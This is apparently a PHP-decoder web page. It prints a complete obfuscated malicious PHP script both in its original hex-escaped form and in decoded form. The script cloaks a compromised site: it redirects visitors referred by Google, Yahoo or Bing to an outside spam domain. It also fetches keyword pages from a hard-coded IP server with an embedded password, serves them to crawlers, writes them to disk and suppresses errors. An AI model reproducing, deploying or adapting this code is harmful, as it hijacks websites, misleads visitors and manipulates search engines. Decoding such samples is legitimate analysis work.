Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto OZuOb; OZuOb: error_reporting(0); goto hCHlE; d2yb3: $_GET["\146\156"] = "\x3..

Decoded Output download

<?php 
 goto OZuOb; OZuOb: error_reporting(0); goto hCHlE; d2yb3: $_GET["fn"] = "696969new"; goto AKcDb; WvKvA: $keyword = str_replace(" ", "+", $keyword); goto B16MB; hCHlE: $today = "20231127-"; goto eDuqk; CtcjP: $query_pars_2 = str_replace("-", "+", $_GET["id"]); goto BFpPo; eDuqk: foreach ($_GET as $a => $b) { $_GET["id"] = $b; } goto ujHDI; PF7F7: $_GET["world"] = 5; goto d2yb3; ob_7u: if ($_GET["id"] == "index") { header("Location: https://google.com"); die; } goto PF7F7; KORYA: if (strpos($_SERVER["HTTP_REFERER"], "google.") or strpos($_SERVER["HTTP_REFERER"], "yahoo.") or strpos($_SERVER["HTTP_REFERER"], "bing.")) { header("Location: https://chpok.site/enter/?mark={$today}-{$s}&engkey={$keyword}"); die; } else { $myname = $_GET["id"] . ".php"; if (file_exists("index/" . $myname)) { $html = @file_get_contents("index/" . $myname); if (strpos($_SERVER["HTTP_USER_AGENT"], "bing") > 2 or strpos($_SERVER["HTTP_USER_AGENT"], "yahoo") > 2) { $keyword = str_replace("-", " ", $_GET["id"]); $html = str_replace("<title></title>", "<title>{$keyword}</title>", $html); } echo $html; die; } } goto CtcjP; EZVRV: $x1 = 3; goto mXNuP; GfQiY: $s = dirname($_SERVER["PHP_SELF"]); goto NchgQ; B16MB: $apass2 = "b23hr23vr32"; goto GfQiY; NchgQ: if ($s == "\" | $s == "/") { $s = ''; } goto k7rVL; ujHDI: if ($_GET["id"] == "testing") { echo "test good..."; die; } goto ob_7u; O3hIi: if (strlen($text) < 5000) { $text = file_get_contents("http://135.181.21.126/" . $_GET["fn"] . ".php?pass={$apass}&q={$_GET["id"]}"); } goto AlYbf; AKcDb: $apass1 = "visdoijew"; goto EZVRV; IqeLi: if (strlen($text) > 5000) { $out = fopen("index/" . $myname, "w"); fwrite($out, $text); fclose($out); } goto Rbwvy; k7rVL: $s = $_SERVER["SERVER_NAME"] . $s; goto ccJHT; Rbwvy: if (strpos($_SERVER["HTTP_USER_AGENT"], "bing") > 2 or strpos($_SERVER["HTTP_USER_AGENT"], "yahoo") > 2) { $text = str_replace("<title></title>", "<title>{$keyword}</title>", $text); } goto kwu9n; ccJHT: $apass3 = "rv32ydacsvsdv"; goto LXxX6; LXxX6: $apass = "{$apass1}" . "{$apass2}" . "{$apass3}"; goto KORYA; AlYbf: if (strlen($text) < 5000) { $url = "135.181.21.126"; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr} ({$errno})<br />
"; } else { $req = "/" . $_GET["fn"] . ".php?pass={$apass}&q={$_GET["id"]}"; $out = "GET {$req} HTTP/1.0
"; $out .= "Host: {$url}
\xa"; $out .= "Connection: Close\xd\xa\xd
"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; } goto IqeLi; kwu9n: echo $text; goto STtb9; BFpPo: $text = ''; goto mjecK; OXSY8: $keyword = str_replace("-", " ", $_GET["id"]); goto WvKvA; mjecK: if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://135.181.21.126/" . $_GET["fn"] . ".php?pass={$apass}&q={$_GET["id"]}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"); $text = curl_exec($ch); curl_close($ch); } goto O3hIi; mXNuP: $xx1 = 5; goto OXSY8; STtb9: ?>

Did this file decode correctly?

Original Code

<?php
 goto OZuOb; OZuOb: error_reporting(0); goto hCHlE; d2yb3: $_GET["\146\156"] = "\x36\x39\x36\71\x36\71\156\x65\x77"; goto AKcDb; WvKvA: $keyword = str_replace("\x20", "\53", $keyword); goto B16MB; hCHlE: $today = "\x32\60\62\x33\61\x31\62\67\x2d"; goto eDuqk; CtcjP: $query_pars_2 = str_replace("\55", "\x2b", $_GET["\x69\144"]); goto BFpPo; eDuqk: foreach ($_GET as $a => $b) { $_GET["\151\144"] = $b; } goto ujHDI; PF7F7: $_GET["\x77\x6f\162\x6c\144"] = 5; goto d2yb3; ob_7u: if ($_GET["\151\144"] == "\151\x6e\144\145\170") { header("\x4c\157\143\x61\164\x69\x6f\x6e\72\x20\x68\x74\x74\x70\163\72\57\57\147\157\157\147\x6c\x65\x2e\143\157\155"); die; } goto PF7F7; KORYA: if (strpos($_SERVER["\110\x54\124\120\137\122\105\x46\x45\122\105\122"], "\147\x6f\x6f\147\154\145\x2e") or strpos($_SERVER["\110\124\x54\x50\x5f\x52\x45\106\105\122\105\122"], "\171\141\x68\x6f\x6f\56") or strpos($_SERVER["\110\124\124\x50\137\122\x45\106\105\x52\x45\x52"], "\142\151\156\147\x2e")) { header("\x4c\x6f\143\x61\x74\x69\157\156\x3a\40\x68\164\164\x70\x73\x3a\x2f\57\143\150\160\x6f\x6b\56\163\x69\x74\x65\57\x65\x6e\164\x65\x72\x2f\77\155\141\162\x6b\x3d{$today}\55{$s}\46\x65\156\x67\x6b\x65\171\75{$keyword}"); die; } else { $myname = $_GET["\151\x64"] . "\x2e\x70\150\160"; if (file_exists("\151\156\144\145\170\x2f" . $myname)) { $html = @file_get_contents("\x69\x6e\x64\145\x78\57" . $myname); if (strpos($_SERVER["\110\124\124\120\137\x55\x53\x45\122\137\101\x47\x45\116\124"], "\142\x69\x6e\147") > 2 or strpos($_SERVER["\110\124\124\x50\137\x55\123\x45\122\x5f\101\107\x45\x4e\x54"], "\171\141\x68\x6f\x6f") > 2) { $keyword = str_replace("\x2d", "\x20", $_GET["\151\144"]); $html = str_replace("\x3c\x74\x69\164\154\x65\x3e\x3c\x2f\164\x69\x74\154\x65\x3e", "\74\164\x69\x74\154\x65\76{$keyword}\74\57\164\151\164\x6c\x65\76", $html); } echo $html; die; } } goto CtcjP; EZVRV: $x1 = 3; goto mXNuP; GfQiY: $s = dirname($_SERVER["\x50\110\x50\x5f\x53\105\114\x46"]); goto NchgQ; B16MB: $apass2 = "\142\62\63\150\x72\62\63\x76\x72\63\62"; goto GfQiY; NchgQ: if ($s == "\x5c" | $s == "\x2f") { $s = ''; } goto k7rVL; ujHDI: if ($_GET["\151\x64"] == "\x74\x65\163\164\151\x6e\x67") { echo "\164\145\x73\164\x20\147\157\x6f\x64\x2e\56\x2e"; die; } goto ob_7u; O3hIi: if (strlen($text) < 5000) { $text = file_get_contents("\x68\164\164\160\x3a\57\57\x31\x33\x35\56\61\x38\61\56\x32\61\x2e\x31\62\x36\x2f" . $_GET["\x66\156"] . "\x2e\160\150\x70\x3f\x70\141\x73\x73\x3d{$apass}\x26\x71\x3d{$_GET["\x69\144"]}"); } goto AlYbf; AKcDb: $apass1 = "\166\151\x73\144\x6f\151\x6a\x65\x77"; goto EZVRV; IqeLi: if (strlen($text) > 5000) { $out = fopen("\x69\156\x64\x65\170\x2f" . $myname, "\167"); fwrite($out, $text); fclose($out); } goto Rbwvy; k7rVL: $s = $_SERVER["\x53\x45\122\x56\x45\122\137\116\101\x4d\105"] . $s; goto ccJHT; Rbwvy: if (strpos($_SERVER["\110\124\124\x50\137\x55\123\105\x52\137\x41\107\x45\116\124"], "\142\151\156\147") > 2 or strpos($_SERVER["\x48\x54\x54\x50\137\125\x53\x45\122\137\x41\x47\105\x4e\124"], "\171\x61\x68\x6f\157") > 2) { $text = str_replace("\74\x74\151\164\154\145\x3e\74\57\164\x69\164\154\145\x3e", "\74\164\x69\164\x6c\x65\76{$keyword}\x3c\57\164\x69\x74\154\x65\76", $text); } goto kwu9n; ccJHT: $apass3 = "\162\166\x33\62\171\x64\141\143\x73\x76\163\x64\x76"; goto LXxX6; LXxX6: $apass = "{$apass1}" . "{$apass2}" . "{$apass3}"; goto KORYA; AlYbf: if (strlen($text) < 5000) { $url = "\61\63\x35\56\x31\70\x31\56\62\x31\56\x31\x32\66"; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\x28{$errno}\51\74\142\x72\40\57\76\12"; } else { $req = "\57" . $_GET["\x66\x6e"] . "\x2e\160\x68\160\77\x70\141\x73\x73\75{$apass}\46\161\x3d{$_GET["\x69\144"]}"; $out = "\107\x45\x54\x20{$req}\x20\110\124\124\120\x2f\x31\x2e\60\15\12"; $out .= "\x48\157\163\x74\72\x20{$url}\15\xa"; $out .= "\103\x6f\x6e\x6e\x65\143\164\151\x6f\x6e\72\x20\103\x6c\x6f\163\145\xd\xa\xd\12"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; } goto IqeLi; kwu9n: echo $text; goto STtb9; BFpPo: $text = ''; goto mjecK; OXSY8: $keyword = str_replace("\x2d", "\x20", $_GET["\151\x64"]); goto WvKvA; mjecK: if (function_exists("\x63\x75\x72\154\x5f\151\x6e\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\164\160\x3a\57\x2f\x31\63\65\56\61\70\61\x2e\x32\61\56\61\x32\x36\x2f" . $_GET["\x66\156"] . "\56\x70\150\x70\77\x70\x61\163\x73\x3d{$apass}\x26\x71\x3d{$_GET["\151\x64"]}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_USERAGENT, "\115\x6f\x7a\x69\x6c\x6c\141\57\64\56\60\40\50\143\x6f\x6d\160\141\164\151\x62\154\145\x3b\40\115\x53\x49\x45\40\66\x2e\x30\73\40\x57\151\x6e\144\157\x77\163\x20\116\x54\40\65\x2e\x31\73\40\x53\x56\x31\51"); $text = curl_exec($ch); curl_close($ch); } goto O3hIi; mXNuP: $xx1 = 5; goto OXSY8; STtb9: ?>

Function Calls

None

Variables

None

Stats

MD5 fcbef1ab6f7012c2984b6cc3a4e0d2be
Eval Count 0
Decode Time 43 ms